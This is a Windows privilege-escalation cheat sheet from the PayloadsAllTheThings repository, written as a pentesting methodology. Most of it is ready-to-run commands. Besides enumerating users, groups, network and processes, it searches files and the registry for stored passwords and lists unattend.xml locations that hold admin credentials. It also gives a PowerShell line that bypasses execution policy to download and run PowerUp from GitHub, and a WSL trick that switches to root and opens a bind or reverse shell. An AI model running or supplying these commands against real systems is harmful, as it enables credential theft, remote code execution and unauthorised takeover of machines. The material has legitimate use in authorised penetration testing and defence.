PayloadsAllTheThings/Methodology and Resources/Windows - Privilege Escalation.md

Windows - Privilege Escalation

Windows Version and Configuration

systeminfo | findstr /B /C:"OS Name" /C:"OS Version"

Architecture

wmic os get osarchitecture || echo %PROCESSOR_ARCHITECTURE%

List all env variables

set

List all drives

wmic logicaldisk get caption || fsutil fsinfo drives

User Enumeration

Get current username

echo %USERNAME% || whoami

List all users

net user
whoami /all

List logon requirements; useable for bruteforcing

net accounts

Get details about a user (i.e. administrator, admin, current user)

net user administrator
net user admin
net user %USERNAME%

List all local groups

net localgroup

Get details about a group (i.e. administrators)

net localgroup administrators

Network Enumeration

List all network interfaces

ipconfig /all

List current routing table

route print

List the ARP table

arp -A

List all current connections

netstat -ano

List firware state and current configuration

netsh advfirewall firewall dump

List all network shares

net share

Looting for passwords

Search for file contents**

cd C:\ & findstr /SI /M "password" *.xml *.ini *.txt

Search for a file with a certain filename

dir /S /B *pass*.txt == *pass*.xml == *pass*.ini == *cred* == *vnc* == *.config*

Search the registry for key names

REG QUERY HKLM /F "password" /t REG_SZ /S /K
REG QUERY HKCU /F "password" /t REG_SZ /S /K

Read a value of a certain sub key

REG QUERY "HKLM\Software\Microsoft\FTH" /V RuleList

Passwords in unattend.xml

Location of the unattend.xml files

C:\unattend.xml
C:\Windows\Panther\Unattend.xml
C:\Windows\Panther\Unattend\Unattend.xml
C:\Windows\system32\sysprep.inf
C:\Windows\system32\sysprep\sysprep.xml

Example content

<component name="Microsoft-Windows-Shell-Setup" publicKeyToken="31bf3856ad364e35" language="neutral" versionScope="nonSxS" processorArchitecture="amd64">
    <AutoLogon>
     <Password>*SENSITIVE*DATA*DELETED*</Password>
     <Enabled>true</Enabled>
     <Username>Administrateur</Username>
    </AutoLogon>

    <UserAccounts>
     <LocalAccounts>
      <LocalAccount wcm:action="add">
       <Password>*SENSITIVE*DATA*DELETED*</Password>
       <Group>administrators;users</Group>
       <Name>Administrateur</Name>
      </LocalAccount>
     </LocalAccounts>
    </UserAccounts>

The Metasploit module post/windows/gather/enum_unattend looks for these files.

Processes Enumeration

What processes are running?

tasklist /v

Which processes are running as "system"

tasklist /v /fi "username eq system"

Do you have powershell magic?

REG QUERY "HKLM\SOFTWARE\Microsoft\PowerShell\1\PowerShellEngine" /v PowerShellVersion

Using PowerSploit's PowerUp

Spot the weak service using PowerSploit's PowerUp

powershell -Version 2 -nop -exec bypass IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellEmpire/PowerTools/master/PowerUp/PowerUp.ps1'); Invoke-AllChecks

Using Windows Subsystem for Linux (WSL)

Technique borrowed from Warlockobama's tweet

With root privileges Windows Subsystem for Linux (WSL) allows users to create a bind shell on any port (no elevation needed). Don't know the root password? No problem just set the default user to root W/ .exe --default-user root. Now start your bind shell or reverse.

wsl whoami
./ubuntun1604.exe config --default-user root
wsl whoami
wsl python -c 'BIND_OR_REVERSE_SHELL_PYTHON_CODE'

References

• The Open Source Windows Privilege Escalation Cheat Sheet by amAK.xyz and @xxByte
• Basic Linux Privilege Escalation
• Windows Privilege Escalation Fundamentals
• TOP–10 ways to boost your privileges in Windows systems - hackmag
• The SYSTEM Challenge
• Windows Privilege Escalation Guide - absolomb's security blog